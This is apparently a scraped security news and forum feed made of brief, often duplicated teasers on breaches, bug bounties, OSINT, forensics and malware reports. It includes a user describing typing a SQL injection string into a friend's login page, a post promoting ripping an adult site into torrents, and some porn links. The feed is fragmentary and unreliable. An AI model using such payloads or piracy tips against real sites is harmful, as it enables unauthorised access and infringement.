Article URL: https://portswigger.net/daily-swig/lt-p-gt-zero-day-xss-vulnerability-in-horde-webmail-client-can-be-triggered-by-file-preview-function-lt-p-gt Comments URL: https://news.ycombinator.com/item?id=30453652 Points: 2 # Comments: 0

合理的离职流程可以减少离职员工危害前雇主。

一名尼日利亚国民在纽约南区地方法院承认侵入一家公司账户并窃取工资存款。

俄乌冲突持续发酵已久。

社交媒体已成为黑客分发威胁渠道之一，在整个2021年这个渠道的攻击次数增加了两倍。

一项关于勒索软件受害者经历的全球调查强调了勒索软件参与者缺乏可信度，因为在大多数支付赎金的情况下，勒索仍在继续。

3月11日（周五）晚上19:00，阿里巴巴集团安全部高级安全专家-阿刻将为我们带来主题为《新安全基建下，如何建设资产识别能力》的公开课。

此次勒索攻击波及全球众多用户，并在ASUSTOR论坛上引起来广泛讨论。

为规范数据中心基础设施的运维管理,各企事业单位应参照相关国家标准建立运维管理体系、制度、流程等措施,保证信息化业务安全、稳定、正常运行。

从2017年7月开始，攻击者累计入侵了5500个用户账户，总共转移了80万美元。

病毒是一种暗中感染计算机系统并进行破坏的程序。病毒代码潜藏在其它程序、硬盘分区表或引导扇区中等待时机

过去两年，疫情影响下的新常态加速了全球范围内的数字化转型，数字化能力已经成为企业与个人生存与发展的核心能力。

为牟私利，非法获取APP数据，构成非法获取计算机信息系统数据罪，判处有期徒刑四年六个月。

传统的网络安全防护措施将不能够满足复杂的网络架构，提升网络可见性将是未来网络安全防护技术的重要发展趋势。

大和证券（中国）有限责任公司是一家落户中国北京的新设外资控股证券公司。

В релизе 1.18 будет добавлена поддержка fuzzing. Continue reading on Medium »

В релизе 1.18 будет добавлена поддержка fuzzing. Continue reading on Medium »

作者：IOTsec-Zone 原文链接：https://mp.weixin.qq.com/s/SWFLV6H1zKWQyvnC0JGGhg 0x00 描述 测试环境：Ubuntu 18.04 固件版本：wr740nv1_en_3_12_4_up(100910).bin 产品厂商：TP-Link 厂商地址：https://www.tp-link.com.cn/ ZoomEye搜索app：TP...

作者：IOTsec-Zone 原文链接：https://mp.weixin.qq.com/s/SWFLV6H1zKWQyvnC0JGGhg 0x00 描述 测试环境：Ubuntu 18.04 固件版本：wr740nv1_en_3_12_4_up(100910).bin 产品厂商：TP-Link 厂商地址：https://www.tp-link.com.cn/ ZoomEye搜索app：TP...

作者：SummerSec 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org JDK内置 上文说到，在JDK8u中查到了结果，一共又7个类可以替代ComparableComparator类。但可以直接调用实例化的类只用两个，String#CASE_INSENSITIVE_ORDER和AttrCompare，其他5个类权限...

作者：SummerSec 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org JDK内置 上文说到，在JDK8u中查到了结果，一共又7个类可以替代ComparableComparator类。但可以直接调用实例化的类只用两个，String#CASE_INSENSITIVE_ORDER和AttrCompare，其他5个类权限...

作者：IOTsec-Zone 原文链接：https://mp.weixin.qq.com/s/SWFLV6H1zKWQyvnC0JGGhg 0x00 描述 测试环境：Ubuntu 18.04 固件版本：wr740nv1_en_3_12_4_up(100910).bin 产品厂商：TP-Link 厂商地址：https://www.tp-link.com.cn/ ZoomEye搜索app：TP...

作者：IOTsec-Zone 原文链接：https://mp.weixin.qq.com/s/SWFLV6H1zKWQyvnC0JGGhg 0x00 描述 测试环境：Ubuntu 18.04 固件版本：wr740nv1_en_3_12_4_up(100910).bin 产品厂商：TP-Link 厂商地址：https://www.tp-link.com.cn/ ZoomEye搜索app：TP...

作者：SummerSec 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org JDK内置 上文说到，在JDK8u中查到了结果，一共又7个类可以替代ComparableComparator类。但可以直接调用实例化的类只用两个，String#CASE_INSENSITIVE_ORDER和AttrCompare，其他5个类权限...

作者：SummerSec 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org JDK内置 上文说到，在JDK8u中查到了结果，一共又7个类可以替代ComparableComparator类。但可以直接调用实例化的类只用两个，String#CASE_INSENSITIVE_ORDER和AttrCompare，其他5个类权限...

Public nudity - enjoy https://public.flashingjungle.com/exhibitionism/ submitted by /u/-Phinet- [link] [comments]

submitted by /u/pentestscribble [link] [comments]

submitted by /u/SatansMoisture [link] [comments]

This site I have already ripped and made into torrent but it's still up... itaporno Remember use a VPN if you rip it... submitted by /u/xanderTgreat [link] [comments]

I'm currently enrolled in a Digital Forensics class and have to do a project where we do a presentation on a current technology or case in Digital Forensics. Anybody know of a good way to find these articles, like what to put in the search bar or what websites to best check out? submitted by /u/Mattdarkninja [link] [comments]

Can someone help me to find traces of artifacts left on windows 10 machine which has been reset 5 months back and repurposed to another user? A reference material on finding windows 10 reset and refresh artifacts will be very useful. Also, suggestions on any tool that can be used to recover data. submitted by /u/Pepperknowsitall [link] [comments]

If files are found automatically synced to a computer, no evidence that suspect had knowledge of them (folder never opened, file never viewed)… also the file was not downloaded by any deliberate action. Cannot determine who uploaded them in the first place or device used to do so Is it enough to make a case based on name on the account when multiple individuals reside at a place? submitted by /u/Complete-Cockroach80 [link] [comments]

If this post is against rules in any way I apologize and please take it down.| Greetings everyone. I graduated last year and got my bachelors in digital forensics and decided to stay in my country for a while and try to get a job here (Puerto Rico). Sadly I have not and am considering moving to the US and get a job there. Any advice? Sites to search for job offers for this area for graduates? States I should stay away from because of high cost of living? Any help I would appreciate greatly. submitted by /u/andrew9514 [link] [comments]

submitted by /u/pedro_benteveo [link] [comments]

submitted by /u/howie1001 [link] [comments]

submitted by /u/smaury [link] [comments]

submitted by /u/VVX7 [link] [comments]

submitted by /u/MysteriousHotel3017 [link] [comments]

submitted by /u/Neustradamus [link] [comments]

Disclaimer: we are talking about the research of web applications only. Continue reading on Medium »

# Introduction Continue reading on Medium »

As a bug bounty hunter, you may experience something like below: Continue reading on Medium »

The first step when looking for bug bounties is to get to know the target. Continue reading on System Weakness »

Never attended a virtual networking event before? Your FAQs answered + Check our live demo here. Continue reading on InfoSec Write-ups »

And how those changes can help you chronolocate an event. Continue reading on Medium »

A little persistence can help pinpoint locations Continue reading on Medium »

Quiztime (contributor @kollege and @mahrko) shared two OSINT quizzes with us. Both objects were kind of wired. For kollege's we have to… Continue reading on Medium »

Hello everyone! Just a question how do you start a windows box? I am doing some HTB this past few weeks and only testing the linux boxes, now how you guys learned to pentest a windows box? (I dont have any background on ActiveDirectory stuffs) Thank you! submitted by /u/pldc_bulok [link] [comments]

I do not use Facebook ,but it came pre-installed on my phone. I can't uninstall it because Zuck owns my phone, but I have disabled the app and reverted it to the original factory install. I'm concerned about having an extremely out-of-date version remaining, probably rife with security flaws. Does Disabling the app effectively lock it out from receiving or transmitting? submitted by /u/spinfip [link] [comments]

Not sure if this is the best subreddit to ask about this. Let me know if there's a better subreddit for this post. My email account has a unique, very strong password and two-factor authentication. This morning, I noticed in my junk folder there was one of those "failed to deliver" emails meant for another address, like those undeliverable emails when you get when you try to email an address that doesn't exist and it bounces back to you. Interestingly, it came from another domain instead of postmaster@outlook. I never sent this email, I don't see an email like it in sent, and I don't see anything unusual in drafts or sent. I checked the account's login activity and there were no sign-ins, only failed attempts to sign into the account from Asia. I have 2FA enabled so I should've been notified if anyone had attempted to sign into the email account, either today or previously at any point other than when I myself signed in. Furthermore, the bounce back email had my address as the sender, but the contact name on it was just random letters, not my name that I have on my account. Is my email compromised, did someone spoof the address, or is this an elaborate phishing attempt that I'm BCC'd on? submitted by /u/NotMSUPD [link] [comments]

After being unemployed for 2 years(stay at home dad) I wanted to rejoin the workforce but wanted to move past helpdesk/desktop level(had 5yrs exp) and decided Cybersecurity was the way to go. I did not have a tech degree, or any other certs and was always a poor student, but I studied my butt off for 2 months and got my Sec+ and a month later landed the dream job making the big bucks!!! aka INFOSEC focused sys admin. Our PluralSight subscription is expiring and before I blow my budget on it and renew it, I wanted to know if there are any others I should be looking into instead? This would be for a team of 2-4 individuals. Ideally looking for an all around system, with the focus on Cloud, INFOSEC, and SCCM. In my current duties I touch everything, SCCM, AWS, Azure, GCP, VmWare, Citrix, C…

When I did my Master's we did a great section on quantitative vs qualitative risk management that I really want to implement. The logic to me seems sound in that a value of asset x should inform the costs you are willing to incur to mitigate risks. Getting away from vague "I feel" statements about cyber risk to quantitatively say asset x is worth y to the company so investing w to reduce risk is basic math the c-suite can get. My barriers to this are: Getting an effective asset valuation as no one seems to track initial investment and sustainment costs let alone cyber security costs. Building this into SOP when tagging assets. Tagging right now is limited so this needs to be fixed too. Anyone here effectively put in quantitative risk practice that can share what worked? submitted by /u/finnthethird [link] [comments]

I know this is so fundamental basic stuff but why is this thing so crucial/ submitted by /u/alicia30765 [link] [comments]

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

submitted by /u/cyberbutler [link] [comments]

submitted by /u/SCI_Rusher [link] [comments]

Bvp47 美国NSA方程式的顶级后门 技术细节 by ourren 更多最新文章，请访问SecWiki

Bvp47 美国NSA方程式的顶级后门 技术细节 by ourren 更多最新文章，请访问SecWiki

Mail.ru disclosed a bug submitted by 388: https://hackerone.com/reports/1382570 - Bounty: $150

Zomato disclosed a bug submitted by ashoka_rao: https://hackerone.com/reports/1408782 - Bounty: $2000

TikTok disclosed a bug submitted by johnstone: https://hackerone.com/reports/1328546 - Bounty: $15000

译者：知道创宇404实验室翻译组 原文链接：https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/ 在这次入侵中(从2021年11月开始) ，一个黑客通过使用Qbot(又名 Quakbot/Qakbot)恶意软件在环境中获得了最初的立足点。 在 Qbot 有效载荷执行后不久...

译者：知道创宇404实验室翻译组 原文链接：https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/ 在这次入侵中(从2021年11月开始) ，一个黑客通过使用Qbot(又名 Quakbot/Qakbot)恶意软件在环境中获得了最初的立足点。 在 Qbot 有效载荷执行后不久...

作者：灰豆 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org 介绍 substring、getDate、catch 等是常用的 JavaScript API，接下来的几篇文章将对 V8 中 API 的设计思想、源码和关键函数进行讲解，并通过例子讲解 JavaScript 在 V8 中的初始化、运行方式，以及它与...

作者：灰豆 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org 介绍 substring、getDate、catch 等是常用的 JavaScript API，接下来的几篇文章将对 V8 中 API 的设计思想、源码和关键函数进行讲解，并通过例子讲解 JavaScript 在 V8 中的初始化、运行方式，以及它与...

译者：知道创宇404实验室翻译组 原文链接：https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/ 在这次入侵中(从2021年11月开始) ，一个黑客通过使用Qbot(又名 Quakbot/Qakbot)恶意软件在环境中获得了最初的立足点。 在 Qbot 有效载荷执行后不久...

译者：知道创宇404实验室翻译组 原文链接：https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/ 在这次入侵中(从2021年11月开始) ，一个黑客通过使用Qbot(又名 Quakbot/Qakbot)恶意软件在环境中获得了最初的立足点。 在 Qbot 有效载荷执行后不久...

作者：灰豆 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org 介绍 substring、getDate、catch 等是常用的 JavaScript API，接下来的几篇文章将对 V8 中 API 的设计思想、源码和关键函数进行讲解，并通过例子讲解 JavaScript 在 V8 中的初始化、运行方式，以及它与...

作者：灰豆 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org 介绍 substring、getDate、catch 等是常用的 JavaScript API，接下来的几篇文章将对 V8 中 API 的设计思想、源码和关键函数进行讲解，并通过例子讲解 JavaScript 在 V8 中的初始化、运行方式，以及它与...

Man in the middle attack Continue reading on Medium »

根据美国无密码身份平台提供商Beyond Identity的最新研究显示，相比于增长率平缓的公司，高速增长的公司遭遇网络安全漏洞攻击的可能性更大。

根据Proofpoint的2022年网络钓鱼情况报告，去年，超过十分之九(91%)的英国组织被邮件钓鱼成功入侵 。

钓鱼邮件无处不在，如何防范可得擦亮眼睛。

一种新型的网络钓鱼攻击却可以绕过MFA，攻击者利用VNC屏幕共享系，让目标用户直接在攻击者控制的服务器上登录其帐户，因此可绕过MFA。

3月9日，让我们相约线上直播，不见不散~

Neustar Security Services 发布了一份报告，详细介绍了 2021 年网络攻击的持续增长，其中DDoS 攻击数量空前。

虚假网赚、虚假投资等诈骗场景中，受害人之所以轻易相信对方，缘于骗局早期，能够获得骗子返回的任务佣金。

Article URL: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=rust Comments URL: https://news.ycombinator.com/item?id=30438575 Points: 2 # Comments: 0

Article URL: https://www.cyrusimap.org/sasl/sasl/release-notes/2.1/index.html#new-in-2-1-28 Comments URL: https://news.ycombinator.com/item?id=30435871 Points: 1 # Comments: 0

Recommendations on how to proactively prepare to defend against the potential cyber impact of the escalating Russia-Ukraine crisis. The post Preparing for the Cyber Impact of the Escalating Russia-Ukraine Crisis appeared first on Unit42.

Wondering if anyone here can speak to which college CS programs best prep their students to take on pentesting. I'd prefer a program that focuses on getting me the skills I need to understand the computer and just to give me general depth in my field. I know pentesting is what I want to do professionally, so something that would let me focus on that is preferable. submitted by /u/NotVeryMega [link] [comments]

Kinda what the title says. I started out this morning with the ability to call out. Then my phone just started hanging up instantly. Put Sim in different phone, same thing. Tried calling it, straight to voicemail. Went to Walmart to get a new sim and phone number. Got ten minutes of the ability to make calls, then the same exact thing. Got a new phone, different carrier. Same thing ten minutes, then no more voice ability. Could it be possible some one put out some kinda hit on me? submitted by /u/YddishMcSquidish [link] [comments]

Due to an increase surge of work of a new contract, my company needs penetration tester contractors which would be good to use on an ad-hoc basis. What are the typical rates for pentesters and how long do a typical contract go on for? E.g. £500 a day for 3 months for example for someone with 3-5 experience. Is this reasonable pricing? I have been asked to find ones in the UK due to familiarity with certain frameworks like cyber essentials and CREST. It would be great if someone can share some figures so I can know what to expect with varying experience and qualification such as CRT and CCT as well. Thank you. submitted by /u/HamsterMoisture [link] [comments]

What setup/software/etc do you recommend to protect my personal linux computer? E.g. vectors I see: it could get pwned by malicious python packages, malicious VSCode extensions, malicious NPM etc. Less likely: Browser exploits. I was experimenting with only letting my browser phone out (the usual malware on linux just connects out naively). But then I have to open everything up again to install stuff. ClamAV is a joke, but something like carbon black makes no sense for a single box. Ideas? submitted by /u/medusabadhairday [link] [comments]

As someone who has been witnessing quite an amount of transformation across all sectors. Have been wondering what are the improvements Vendors and OEMs have made on SIEM Onboarding front. Do OEM/Vendors still prefer/recommend syslog, installing proprietary agents or the oh so obsolete RPC(for Windows) to onboard systems or have some vendors/OEMs also started pushing for cloud native solutions like Event Hub/SQS. A lot of vendors do show greenlight on integration with S3/Event Hub but dont support any sort of parsing for these log sources (Windows and Linux), one cannot expect anyone to actually create parsers from scratch for the entire Windows Ecosystem. As large orgs start deploying Control Towers with dedicated logging buckets anyone can poll off and ingest, how do you guys scale your SIEM deployments and utilize these architectural changes ? submitted by /u/w33ha_AD [link] [comments]

Lets get straight to it - I have two questions regarding where to turn on VPN (laptop vs phone) Lets say im at a hotel and would like to hotspot my phone so that I can access the internet using my laptop. Question is, where do i turn on VPN? On my phone or on my laptop? Based on my research, many seem to suggest to turn on VPN on the laptop. My question then, is, what if I would like to browse the internet on my phone? Or do stuff on whatsapp, etc. Must I turn on VPN on my phone for these activities too? submitted by /u/AliveandDrive [link] [comments]

Hey Chief, A friend of mine has set up a website where she used a hosting service, I don't remember its name, The admin login functionality from that hosting service asked for username and password combination, I typed a few SQLi payloads (' or 1=1 kinda stuff) but instead of throwing login password/username incorrect error, it showed pretty unsual error and took pretty long to do so, Is that a sign of SQL based injection? Does that mean the website is likely vulnerable to SQL injection or smtg similar? Please help, because that friend of mine has setup her website for business usage and isn't sure that hosting provider is secure and whatnot. submitted by /u/The_Intellectualist [link] [comments]

I have been using node-red to automate a couple of daily tasks. for example - enrich alerts with virus total intelligence - test and verify DLP configuration is set up correctly - add IP to block list in AWS WAF - pull metrics from crowd strike to PowerBI for manager report - etc. ​ I am considering writing a blog or sharing in a security talk. Is there anyone interested in this topic? Any good platform to speak about this? submitted by /u/Calm_Scene [link] [comments]

OSINT Investigations: We know what you did that summer by Information Warfare Center is packed with OSINT advice and resources, including… Continue reading on Medium »

Following is an OSINT challenge DVLA writeup offered by cybersoc. Continue reading on Medium »

Steps Continue reading on Medium »

What is osintgram ? Continue reading on Medium »

From Saturday, February 19 to Sunday, February 20, 2022, the Capture The Talent CTF was held. 🏆Final ranking: 1/52 Continue reading on Medium »

Computer Forensics For WeChat - Seeking A Freelancer We need someone who can restore WeChat messages from an iPhone backup. Please contact me privately or details. submitted by /u/P2T-2022 [link] [comments]

submitted by /u/DFIRScience [link] [comments]

Any certs you recommend for a cs analyst to get more knowledge and skills in digital forensics? submitted by /u/mooncrestle [link] [comments]

I am doing an assignment, and in the assignment volume, I found a Bitmap header. How do I know the range of the file? My professor said he would go over it but never did submitted by /u/KTthemajicgoat [link] [comments]

Greatest Moments in Hacking History: Samy Kamkar Takes Down Myspace — YouTube Continue reading on Medium »

GitLab disclosed a bug submitted by joaxcar: https://hackerone.com/reports/1372216 - Bounty: $610

QIWI disclosed a bug submitted by uddeshaya: https://hackerone.com/reports/1401891 - Bounty: $100

Acronis disclosed a bug submitted by lu3ky-13: https://hackerone.com/reports/1241149

Zomato disclosed a bug submitted by ashoka_rao: https://hackerone.com/reports/1330529 - Bounty: $3250

8x8 disclosed a bug submitted by adnanmalikinfo: https://hackerone.com/reports/1454965

Easy box made by Jin Continue reading on Medium »

One liner tool chains for bug bounty, dependent on one vital tool. Continue reading on Medium »

you may have seen some SQL injections that exploiting them are not as straightforward as what you see in the ethical hacking courses. like… Continue reading on Medium »

Overview Continue reading on StaFi »

XXE (XML External Entity) Injection, bir saldırganın web uygulama üzerinde XML verilerini enjekte etmesine veya değiştirmesine olanak… Continue reading on Medium »

How the publication grew since 2017, one message at a time. Continue reading on InfoSec Write-ups »

Greetings to all from Sergius and Bacchus, Continue reading on Medium »

I was testing 2FA on a website. At first, I tried to bypass 2FA but I was not successful, then I thought of something else. What if I can… Continue reading on Techiepedia »

submitted by /u/dmchell [link] [comments]

submitted by /u/ZephrX112 [link] [comments]

Attackers are regularly exploiting vulnerable plugins to compromise WordPress websites and redirect visitors to spam and scam websites. This has been an ongoing campaign for multiple years. Payload domains are regularly swapped out and updated, but the objective remains largely the same: trick unsuspecting users into clicking on malicious links to propagate adware and push bogus advertisements onto victim’s desktops. The most recent variation of this WordPress hack involves the following domain: specialadves[.]com If your website is redirecting visitors to pages that look something like this then your website is likely compromised: In today’s post we will review how to remove the specialadves malware from your WordPress website. Continue reading How to Fix the specialadves WordPress Redirect Hack at Sucuri Blog.

submitted by /u/0xdeadbeef0000 [link] [comments]

submitted by /u/monoimpact [link] [comments]

Not saying you have to be gay to enjoy good looking men getting off ... Has rick & morty, Mr Robot plus other stuff so not all men getting all hot and sweaty... Mp4's images ect... submitted by /u/xanderTgreat [link] [comments]

Not been around for a while but found this one and wanted to share it...yep porn... Look in folders...mp4's submitted by /u/xanderTgreat [link] [comments]

submitted by /u/subwaytech [link] [comments]

设备指纹技术介绍与综述（一） by ourren 更多最新文章，请访问SecWiki

设备指纹技术介绍与综述（一） by ourren 更多最新文章，请访问SecWiki

고루틴과 채널은 golang에서 가장 핵심적인 기능 중 하나입니다. 다만 꼼꼼하게 체크하고 사용하지 않으면 여러가지 문제들을 만들어낼 수 있습니다. 그 중 하나는 Close된 채널에 값을 전달하는 상황인데요. 이런 경우 Application은 panic으로 종료하게 됩니다. panic: send on closed channel goroutine 1 [running]: main.main() /tmp/sandbox2358964969/prog.go:19 +0xfc 우선 간단한 방법으로 이를 예방할 수 있는데요. 채널에 값을 보내기 전 채널로 아래 safeCheck 함수와 같이 채널의 Close 여부를 체크하고, 결과에 따라서 값의 송신 여부를 결정하면 됩니다.

Invicti sat down with Ryan Cote, former CIO for the Department of Transportation, to chat about AppSec in government and how agencies can modernize security. READ MORE

submitted by /u/pat_ventuzelo [link] [comments]

《意见》共计五章十八条，统筹发展和安全，加强电子证照应用全过程规范管理，严格保护商业秘密和个人信息安全，切实筑牢电子证照应用安全防线。

荷兰安全公司Threat Fabric的研究人员发现了一种名为 Xenomorph的新 Android 银行木马，正对欧洲56家银行的用户下手。

Meta收到欧盟主要隐私监管机构发来的“修订版”初步决定，有可能影响其向美国传输欧盟用户数据，甚至有可能因此退出欧洲市场。

对于许多组织而言，非人类账户的访问权限通常保持不变。这为网络犯罪分子提供了利用孤立帐户进行未经授权的访问并发起网络攻击的机会。

OpenSea 数十名用户遭受了网络钓鱼攻击，损失了约价值170万美元的NFT。

一个基于僵尸网络的流氓网站关联了数千部受感染的安卓手机，这再次揭露了依托SMS进行账户验证的漏洞。

3月9日-10日，CIS 2021 Spring·春日版全议题直播将正式开启，福利活动也将提前上线，参与最高可赢取iPhone13！

全球第二大炊具分销商Meyer Corporation向美国司法部长办公室披露了影响其数千名员工的数据泄露事件。

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

No content preview

译者：知道创宇404实验室翻译组 原文链接：https://www.sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/ 摘要 SentinelLabs 一直在追踪一个与伊朗结盟的攻击者，他们在中东和美国活动。...

译者：知道创宇404实验室翻译组 原文链接：https://www.sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/ 摘要 SentinelLabs 一直在追踪一个与伊朗结盟的攻击者，他们在中东和美国活动。...

译者：知道创宇404实验室翻译组 原文链接：https://www.sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/ 摘要 SentinelLabs 一直在追踪一个与伊朗结盟的攻击者，他们在中东和美国活动。...

译者：知道创宇404实验室翻译组 原文链接：https://www.sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/ 摘要 SentinelLabs 一直在追踪一个与伊朗结盟的攻击者，他们在中东和美国活动。...

Hey team! So my sec team started a physical security assessment a week ago and its been fun. I got to use the under-the-door tool, tailgate, clone rfid card and bypass motion sensor entrances/exits. I was wondering if you guys had any ideas about what you would do if you had “keys to the kingdom” such as the server room or someones desktop? Edit: grammar submitted by /u/Enes_24 [link] [comments]

submitted by /u/CoolerVoid [link] [comments]

submitted by /u/nickonos [link] [comments]

Get the basic understanding on the remote process memory read and write all by windows 32 API and create your own game hacks. https://tbhaxor.com/reading-and-writing-into-processs-memory/ submitted by /u/tbhaxor [link] [comments]

submitted by /u/limb_fed [link] [comments]

http://doa.totallyowns.co.uk/ submitted by /u/CalmWater8439 [link] [comments]

submitted by /u/Rose_Beef [link] [comments]

submitted by /u/cryptaureau [link] [comments]

submitted by /u/m_edmondson [link] [comments]

submitted by /u/MilesTails [link] [comments]

submitted by /u/toyojuni [link] [comments]

submitted by /u/breakingsystems [link] [comments]

submitted by /u/CoolerVoid [link] [comments]

submitted by /u/halencarjunior [link] [comments]

submitted by /u/0xdea [link] [comments]

submitted by /u/awarau888 [link] [comments]

What if I told you there is a way to heal the blind SQL injections and turn them into healthy union-based ones? Continue reading on Medium »

eLearnSecurity Certified Penetration Tester eXtreme Continue reading on Medium »

​I somehow came across a page with something like a user survey (the program is private, so I will speak abstractly). Continue reading on Medium »

Hello again! I’m faizan and today I’m writing about an XSS I found in an input field which was hidden from the page using Content division… Continue reading on Medium »

First, What is the Parameter Tampering? Continue reading on Medium »

Disclaimer Continue reading on Medium »

… Continue reading on InfoSec Write-ups »

This blog covers how to attack Kerberos with Kerberoasting and AS-REP Roasting attacks. Continue reading on System Weakness »

Summary Continue reading on Immunefi »

Here is the link to the lab : https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression submitted by /u/_JatinChopra_ [link] [comments]

It seems a lot of these sites that I am finding are very vague about the different vulnerabilities. It would be helpful to find a place where I can search the CVE and they can tell me how it is vulnerable and how it can be exploited. submitted by /u/Ok-Oil2953 [link] [comments]

Curious to see what solutions folks have for documenting and tracking SIEM use cases. Are you just throwing everything into a spreadsheet? Using a KB tool like Confluence? Do you have a formalized process for handling changes to rules or retiring them? submitted by /u/wowneatlookatthat [link] [comments]

Sorry if this is a bit of a basic question but I’m setting up my first headless server and could use your advice. I have a server which I’d like to access via SSH. I have created a password protected key file to do so. I will be accessing the server from a few different clients, all belonging to me and no-one else. Is it correct to only have the public key on the server, and to have both the private and public keys on the clients? Or does the server need the private key? Is it even possible for the client to work without both the public and private keys available to it…? submitted by /u/JamieOvechkin [link] [comments]

I'm working on a personal project relating to security-centric query languages, and I'm trying to get an overview of current (popular) languages. So far, I've got: Splunk Search Processing Language Falcon Query Language Microsoft Kusto Rapid7 Log Entry Query Language Are there other major languages in use currently? submitted by /u/QuirkySpiceBush [link] [comments]

Hi all, I recently noticed that i am getting the OTPs/reset links for different websites (such as Instagram and Amazon) from the same number. That is the password reset link for instagram was sent to my phone from the same number as the verification link for amazon. The number is something like 78549659. Is this normal or does each company have a different number for sending such texts? submitted by /u/Euphoric_Asparagus90 [link] [comments]

Hey everyone. My employer is paying for me to do a SANS certificate of my choosing, I'm interested in the web/appsec based certs. I was wondering if anyone's taken either of these or would recommend one over the other. Thanks submitted by /u/n3v327311 [link] [comments]

I am currently doing BSc in Information systems and want to do masters in digital/computer forensics. submitted by /u/SkillKiller3010 [link] [comments]

I often read in news articles that some suspects have been arrested for internet crimes that take “months long investigation”. Why does it take months long if they already have so called evidence especially if they have received tips on it from organizations such as NCMEC submitted by /u/Ill-Date-1852 [link] [comments]

How do we isolate affected containers for AWS ECS/EKS in fargate? Creating a new security group for ECS will result in new tasks being recreated to replace the old tasks, so the affected tasks won't be preserved. In EKS, there is no visibility into the security groups of the node. The only way to isolate is through the ACL which is not very ideal as there may be other apps using the same ACL. submitted by /u/SnooKiwis8248 [link] [comments]

Hey all - hope you're doing well. Doing some research on the Computer/Digital forensics field for a friend - I've looked a bit across Google, postings on job sites, etc. but wanted to get some knowledge from this pretty extensive community! How would someone with an M.A. (Masters) break into Computer or Digital forensics? Is a certification or class worth it (i.e. classes on Udemy, Coursera for specializations, or a university/online bootcamp program on digital or computer based forensics) What is your day-to-day like, how did you get into the field/how do you like it? What are common tools and skills - how much of a technical or IT background is required? Thank you! submitted by /u/sora1493 [link] [comments]

This is a story of what both I and Google engineers considered to be an SSRF vulnerability in Google Calendar — but turned out to be some… Continue reading on Medium »

Original Post : https://keiran.scot/2022/02/10/exploiting-xxe-vulnerabilities/ Continue reading on ITNEXT »

Original Post : https://keiran.scot/2022/02/10/exploiting-xxe-vulnerabilities/ Continue reading on Medium »

SecWiki周刊（第416期) by ourren 漏洞可用性交流（VEX）介绍 by ourren PAM 2022 论文录用列表 by ourren 更多最新文章，请访问SecWiki

SecWiki周刊（第416期) by ourren 漏洞可用性交流（VEX）介绍 by ourren PAM 2022 论文录用列表 by ourren 更多最新文章，请访问SecWiki

Continue reading on Medium »

And here we go to Hacktoria’s geolocation number 14 challenge! They keep on coming and I keep on solving them. So without further ado… Continue reading on Medium »

On Dec 28, 2021, Quiztime (contributor @bayer_julia) shared a new OSINT quiz with us. The objective was simple. We had to figure out when… Continue reading on Medium »

Du samedi 19 au dimanche 20 février 2022, s’est déroulé le CTF de Capture The Talent. 🏆Classement final: 1/52 Continue reading on Medium »

Automattic disclosed a bug submitted by ajoekerr: https://hackerone.com/reports/1484168 - Bounty: $450

curl disclosed a bug submitted by nsq11: https://hackerone.com/reports/1444539

Zomato disclosed a bug submitted by codersanjay: https://hackerone.com/reports/864712 - Bounty: $200

Article URL: https://neverworkintheory.org/2022/02/21/antifuzz.html Comments URL: https://news.ycombinator.com/item?id=30414501 Points: 9 # Comments: 1

豆瓣网被爆出在页面中使用难以察觉的隐形水印，水印的信息包括用户 UID、TID 及带时区的完整时间。

2021年至少发现66个仍在使用中的零日漏洞，数量约是2020年的两倍。

英国数字银行平台Monzo正成为钓鱼攻击的目标，用户收到了含有钓鱼链接的短信。

2月21日全球网络安全热点。

最新报告出炉！

近期乌克兰发生的DDoS攻击，被指是俄罗斯主导的黑客攻击。

Article URL: https://ruia-ruia.github.io/NFC-UAF/ Comments URL: https://news.ycombinator.com/item?id=30413955 Points: 1 # Comments: 0

作者：ryze@nop 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org 0x00 前言 起因是在某红队项目中，获取到Oracle数据库密码后，利用Github上的某数据库利用工具连接后，利用时执行如 tasklist /svc 、net user 等命令时出现 ORA-24345: 出现截断或空读取错误，且文件管理功...

作者：ryze@nop 本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：paper@seebug.org 0x00 前言 起因是在某红队项目中，获取到Oracle数据库密码后，利用Github上的某数据库利用工具连接后，利用时执行如 tasklist /svc 、net user 等命令时出现 ORA-24345: 出现截断或空读取错误，且文件管理功...

